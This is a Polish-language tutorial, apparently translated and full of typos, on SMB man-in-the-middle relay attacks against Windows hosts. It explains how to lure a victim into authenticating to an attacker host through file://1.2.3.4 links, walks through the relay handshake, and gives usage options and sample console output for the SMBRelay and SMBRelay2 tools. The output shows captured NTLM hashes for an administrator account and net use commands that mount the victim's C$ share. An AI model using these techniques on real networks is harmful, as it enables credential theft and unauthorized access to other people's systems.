PORADNIKI

Atak SMB Man-In-The-Middle

Atak SMB Man-In-The-Middle

Ponieważ system Windows automatycznie próbuje się zalogować jako bieżący użytkownik,jeśli żadna inna informacja uwierzytelniania nie jest wyraźnie określona, jeśli atakujący może wymusić połączenie NetBIOS zw swojwgo celu, może pobrać informacje o uwierzytelnionym użytkowniku aktualanie zalogowanym. L0pht wspoimna to jako sposób odzyskania hashowanych haseł z odległych sieci do złamania. Istnieje wiele sposobów aby wymusić na komputerze z Windows ustanowienie połączenia NetBIOS. L0pht zaleca wysłanie e-maila z linkiem do file://1.2.3.4/share/whatever.html, tak ,że jeśli użytkownik kliknie w to połączy się z serwerem NetBIOS 1.2.3.4,a aktulaanie zalogowany użytkownik przekazuje hashowaną informację o haśle. Bardzo łatwow wymusić połczenie NetBIOS, po prostu mamsz dowolną przeglądarkę lub IE API (WinInet) w oparciu o aplikację html obejmującą obraz z adresem URL źródła, np file://1.2.3.4/share/whatever.gif lub użyjemy NBNMAE/RESPOND do zwrócenia adresu IP atakującego w odpowiedzi na zapytanie o nazwy,znalezienia dostępnych zdalnych usług (takich jak serwer ftp czy serwer http), które nie właściwie analizuje lub sprawdza dostarczone przez użytkownika ścieżki dostępu lub nazwy plików i dostarcza ją z nazwą pliku taką jak \\1.2.3.4 share\whatever.gif i jestem pewny ,że jest jeszcze wiele sposobów do odkrycia / ujawnienia.
Atak man in the middle jest starym pojęciem. Jednak, kiedy host docelowy może być zmuszony do uwierzytelniania z atakującym a poświadczenia również są ważne na części serwera docelowego, staje się możliwe uzyskanie dostępu do tego serwera, kiedy użytkownik klienta docelowego próbuje się na uwierzytelnić. Osiąga sie to przez działanie jako człowiek w środku zarówno na serwerze i części klienta docelowego. Ta sama metoda może być używana do uzyskania dostępu do dowolnego serwera uwierzytelniania informacji dostarczanych przez klienta docelowego (np inny serwer w tej samej domenie). Po zakończeniu uwierzytelniania, klient docelowy jest odłączany a atakujący pozostaje podłączony do serwera docelowego,gdzie użytkownik docelowy jest zalogowany,porywając połączenie. SMB wykorzystuje metodę challenge-response uwierzytelnienia dla zapobieżenia atakom powtórkowym i skomplikować craking.Challenge to 8 bajtów generowanych losowo danych, które klient szyfruje używając hasła i klucza szyfrującego. Przepływ negocjacji jest zwykle taki:

Klient -> Serwer
Żądani sesji, usługi stacji roboczej żądają usług serwera
Serwer -> Klient
Odpowiedź sesji, tak ,że nazwa NetBIOS tu jest podłączalna
Klient -> Serwer
Negocjacje, jakim dialektem chcesz ze mną rozmawiać?
Serwer -> Klient

Wybór dialektu,pomówmy tym dialektem. Oto dane challenge do zaszyfrowania twoim hasłem
Klient -> Serwer
Ustawianie sesji, tu jest moja nazwa użytkownika i szyfrowane challenge z hashowanym hasłem jakim chcę się logować
Serwer -> Klient
Odpowiedź na ustawienie sesji, OK jesteś podłączony jako ten użytkownik

Aby uzyskać dostęp do serwera kiedy połączenia NetBIOS zostało odebrane z klienta docelowego, przepływ byłby:

Klient docelowy - > Atakujący
Żądanie sesji, żądanie usług stacji roboczej połączenia z jakimś serwerem nazw
Atakujący - > Serwer docelowy
Żądanie sesji, jakieś żądanie stacji roboczej połączenia z serwerem usług
Serwer docelowy - > Atakujący
Odpowiedź sesji, tak możesz się połączyć z tą nazwą
Atakujący - > Serwer docelowy
Odpowiedź sesji, tak możesz się połączyć z tą nazwą
Klient docelowy -> Atakujący
Negocjacje, jakim dialektem chcesz porozmawiać?
Atakujący -> Serwer docelowy
Negocjacje, chcesz ze mną rozmawiać jakbym był NT$ bez rozszerzonego bezpieczeństwa?
Serwer docelowy -> Atakujący
Wybór dialektu, ok porozmawiajmy w ten sposób, oto mój challenge
Atakujący -> Klient docelowy
Wybór dialektu, porozmawiajmy w ten sposób, oto mój challenge
Klient docelowy -> Atakujący
Ustawienie sesji, oto moja nazwa użytkownika i zaszyfrowane hasło z twoim challenge
Atakujący -> Serwer docelowy
Ustawienie sesji, oto nazwa użytkownika i zaszyfrowane hasło jaki chcę się zalogować
Serwer docelowy -> Atakujący
Odpowiedź ustawienia sesji, ok możesz się teraz połączyć
Atakujący -> Klient docelowy
* snip *
Atakujący -> Serwer docelowy
(Atakujący może zrobić to co może robić klient docelowy)

Po podłączeniu, cel może sprawdzić przekierowane połączenie używając:

net session

SMBRelay

SMBRelay jest to program, który odbiera połączenia na porcie 139,łączy się z powrotem do portu komputera 139 lub innego serwera docelowego i przekazuje pakiety między klientem a serwerem

łączącego się komputera Windows , w razie potrzeby wprowadzając zmiany do tych pakietów. Po podłączeniu i uwierzytelnieniu rozłącza klienta docelowego i wiąże port 139 z nowym adresem IP. Ten adresIP (adres przekazania) może być podłączony bezpośrednio z systemem Windows za pomocą "net use\\192.1.1.1" a potem wykorzystywany przez wszystkie sieci wbudowane w Windows. Przekazuje cały ruch SMB, z wyjątkiem negocjacji i uwoerzytelnienia Możesz odłączyć się i ponownie podłączyć do tego wirtualnego IP tak długo jak host docelowy pozostaje podłączony. SMBRelay jest wielowątkowy i obsługuje wiele połączeń jednocześnie. Stworzy to nowe adresy IP kolejno, usuwając je kiedu host docelowy jest rozłączany. Nie pozwoli to tym samym adresom łączyć się dwukrotnie, chyba ,że udane połączenie do tego celu zostało osiągnięte i odłączone. Jeśli się to wydarzy, można użyć tego samego adresu przekazania ponownie do innego połączenia. SMBRelay zbiera hashowane hasła NTLM przekazywane i zapisuje je do hashes.txt w formacie wykorzystywanym prze L0phtcrack więc hasła mogą być łamane później.

Użycie: smbrelay [Opcje]
Opcje;

/D num - ustawienie poziomu debuggowania, bieżąće poprawne poziomy: 0 (nic),1,2
Domyślnie to 0

/E - wyliczanie interfejsów i ich indeksów
/F[-] - tylko fałszywe serwery, przechwytywanie hashowanych haseł i nie są przekazywane
/IL num - ustawienie indeksu interfejsu do użycia kiedy dodajemy lokalne adresy IP
/IR num – ustawienie indeksu interfejsu do użycia keidy dodajemy adresy IP przekazania.
Domyślnie jest to 1. Używamy /E do wyświetlenia indeksów kart
/L[+] IP – ustawia lokalny IP do nasłuchu dla przychodzących połączeń NetBIOS
Używmy [+] dla dodania pierwszego adresu IP do NIC
Domyślnie to podstawowy host IP
/R[-] IP – ustawienie startowego adresu IP przekazania do wykorzystania
Użycie – NIE dodajemy pierwszego adresu przekazania IP do NIC
Domyślnie to 192.1.1.1
/S nazwa – ustawia nazwę komputera źródłowego
Domyślnie to CDC4EVER
/T IP – połączenie do docelowego IP zamiast z powrotem do adresu przychodzącego

c:>smbrelay /I 2/ D 1

```
SMBRelay v0.98 - TCP (NetBT) level SMB man-in-the-middle relay attack
 Copyright 2001: Sir Dystic, Cult of the Dead Cow
 Send complaints, ideas and donations to sirdystic@cultdeadcow.com
Bound to port 139 on address 11.11.11.11
Connection from 60.61.62.63:1140
Request type: Session Request  72 bytes
Source name: BOB           <00>
Target name: *SMBSERVER     <20>
Setting target name to source name and source name to 'CDC4EVER'...Response:
 Positive Session Response  4 bytes

Request type: Session Message  174 bytes
SMB_COM_NEGOTIATE
Response:    Session Message  99 bytes
Challenge (8 bytes):   268B11C361473D20

Request type: Session Message  278 bytes
SMB_COM_SESSION_SETUP_ANDX
Password lengths: 24 24
Case insensitive password:  59A8A04CC37D226F0AC44065C84FDF9FEB1BB611C3CBE936
Case sensitive password:   8BA548AF1F9A517BBFBEF4E53D1D8B5D94E81C5523E7B251
Username:    "administrator"
Domain:      "BOB"
OS:          "Windows NT 1381"
Lanman type:  ""
Response:    Session Message  148 bytes
OS:          "Windows NT 4.0"
Lanman type:  "NT LAN Manager 4.0"
Domain:      "BOBSMITH"

Password hash written to disk
Connected?
Bound to port 139 on address 192.1.1.1 relaying for host BOB 60.61.62.63
```

```
D:> net use \\192.1.1.1
Polecenie zakończone sukcesem
```

```
*** Relay connection for target BOB received from 11.11.11.11:1472
Relay request type: Session Request  72 bytes, 72 target BOB
 *** Sent positive session response for relay target BOB
Relay request type: Session Message  174 bytes, 174 target BOB
BOB:SMB_COM_NEGOTIATE 174 bytes
0 - Dialect 2 - PC NETWORK PROGRAM 1.0
1 - Dialect 2 - XENIX CORE
2 - Dialect 2 - MICROSOFT NETWORKS 1.03
3 - Dialect 2 - LANMAN1.0
4 - Dialect 2 - Windows for Workgroups 3.1a
5 - Dialect 2 - LM1.2X002
6 - Dialect 2 - LANMAN2.1
 *** Sent dialect selection response (7) for target BOB
Relay request type: Session Message  260 bytes, 260 target BOB
BOB:SMB_COM_SESSION_SETUP_ANDX 260 bytes
 *** Sent SMB Session setup response for relay to BOB
```

```
D:> net use z \\192.1.1.1\c$
Polecenie zakończone sukcesem
```

```
Relay request type: Session Message  136 bytes, 136 target BOB
BOB:SMB_COM_SESSION_SETUP_ANDX 136 bytes
Received 132 byte response from target BOB
Relay request type: Session Message  81 bytes, 81 target BOB
BOB:SMB_COM_TREE_CONNECT_ANDX 81 bytes
Received 56 byte response from target BOB
Received request header, expecting 4 bytes for target BOB
Relay request type: Session Keep Alive  4 bytes, 4 target BOB
```

```
D:> net use * /d /y
Polecenie zakończone sukcesem
```

```
Relay request type: Session Message  39 bytes, 39 target BOB
BOB:SMB_COM_TREE_DISCONNECT 39 bytes
Received 39 byte response from target BOB
Relay request type: Session Message  39 bytes, 39 target BOB
BOB:SMB_COM_TREE_DISCONNECT 39 bytes
Received 39 byte response from target BOB
Relay request type: Session Message  43 bytes, 43 target BOB
BOB:SMB_COM_LOGOFF_ANDX 43 bytes
 *** Logoff from target BOB
 *** Relay disconnected from target BOB
Bound to port 139 on address 192.1.1.1 relaying for host BOB 60.61.62.63
Deleted relay IP address 192.1.1.1 for target BOB
*** Target BOB Disconnected
```

Uwagi dotyczące korzystania z SMBRely

SMBRelay musi najpierw być powiązany z portem 139 dla odbioru przychodzących połączeń NetBIOS. Przede wszystkim port ten jest poniżej 1024 jest uprzywilejowanym portem i wymaga zgody administratora dla dostępu do niego. Dostęp administratora jest również wymagany dla dodawania i usuwania adresów IP, jakie SMBRelay wykonuje w swoim normalnym trubie działania. Tak więc SMBRELAY MUSI BYĆ URUCHOMIONY JAKO KONTO Z UPRAWNIENIAMI ADMINISTRATORA.
W Windows 2000, SMBRElay nie będzie w stanie związać się z portem 139, jeśli system jest już uruchomiony z powodu nowego gniazda flag jakie Microsoft dodał dla ochrony przed ponownym użyciem portu z którego korzysta już system. Najłatwiej jest użyć opcji /L + tworzenia nowego adresu IP w towim NIC i mieć cel podłączony do tego adresu a nie do podstawowego. Innym sposobem jest ręczne dodanie nowego adresu IP za pośrednictwem panelu sterowania a potem użycie /L dla określenia tego adresu. SMBRelay będzie związany przed OS'em z portem 139, jeśli może, ale tylko dlatego ,że jest zdolny do powiązania z powodzeniem nie oznacza ,że program rzeczywiście odbiera połączenia przychodzące. Jeśli istnieją jakieś połączenia w sysytemie (nawet w stanie TIME_WAIT) kiedy SMBRelay wiąże się z portem, prawdopodobnie nie odbiera żadnych połączeń. W Win98 nigdy nie odbiera połączeń, pod WinNT nawet w najlepszych warunkach odbiera tylko czasami. Z Tego powodu zwykle uruchamiam kilka kopii SMBRelay mając nadzieję na zwiększenie szans SMBRelay uzyskania połączenia zamiast do systemu. Windows 2000 zapobiega wiązaniu SMBRelay z portem podczas pracy OS. Aby utworzyć nowy adres IP na komputerze, należy określić indeks interfejsu karty do użycia z wykorzystaniem opcji /IR lub /IL. Użycie /E listuje dostępne indeksy interfejsów. Pod NT indeksy są miłymi prostymi numerami, ale pod Win 2000 używają dużej ilości bitów tak więc indeksy są przedstawiane jako liczby szesnastkowe. Jeśli nie używasz opji /IR do ustawienia interfesju przekazania będzie to domyślnie 1, która jest zwykle

interfejsem zwrotnym. Pozwoli ci to na łączenie tylko z twojej własnej bramki. SMBRelay powinien działać na NT i Win 2000, ale mogą być uruchomiony na 98 jeśli jest odpowiednio skonfigurowany. Pioerwszą rzeczą jaką należy wykonać to połączyć się z adresem przekazania : NET USE \\192.1.1.1. Po tym można zrobić coś z celem bezpośrednio przez sieć Windows za pomocą adresu przekazania IP nazwy hosta (jak \\192.1.1.)

SMBRely2

SMBRelay2 działa na poziomie NetBIOS i powinien pracować przez dowolny protokół NetBIOS (takim jak NetBEUI lub TCP/IP). Zamiast używać adresów IP, SMBRelay2 używa nazw NetBIOS. Wspiera ona także przejście do trzeciego hosta. Jednak, wspiera aktualnie nasłuchiwanie tylko na jedną nazwę, więc cel musi próbować łączyć się do tej nazwy dla SMBRelay2 dla działania (nazwa lokalna), więc cel musi próbować uzyskać dostęp do zasobów na LocalName

```
SMBRelay2[Opcje]
Opcje:
/A LanaNum     -    Użycie LanaNum
     Domyślnie to 0
/D DebugLevel  -    Poziom komunikatów debuggowania, poprawne
                    poziomy to 0-3
     Domyślnie to 0
/L LocalName   -    Nasłuchuje dla podstawowego połączenia na
                    LocalName
     Domyślnie to SERVER
/R RelayName   -    Nasłuchuje połączenia przekazania na RelayName
     Domyślnie to RELAY
/S SourceName  -    Użycie SourceName kiedy łączymy się do celu
     Domyślnie to CDC4EVER
/T TargetName  -    Połączenie do TargetName dla przekazania
     Domyślnie to połączenie zwrotne do klienta
```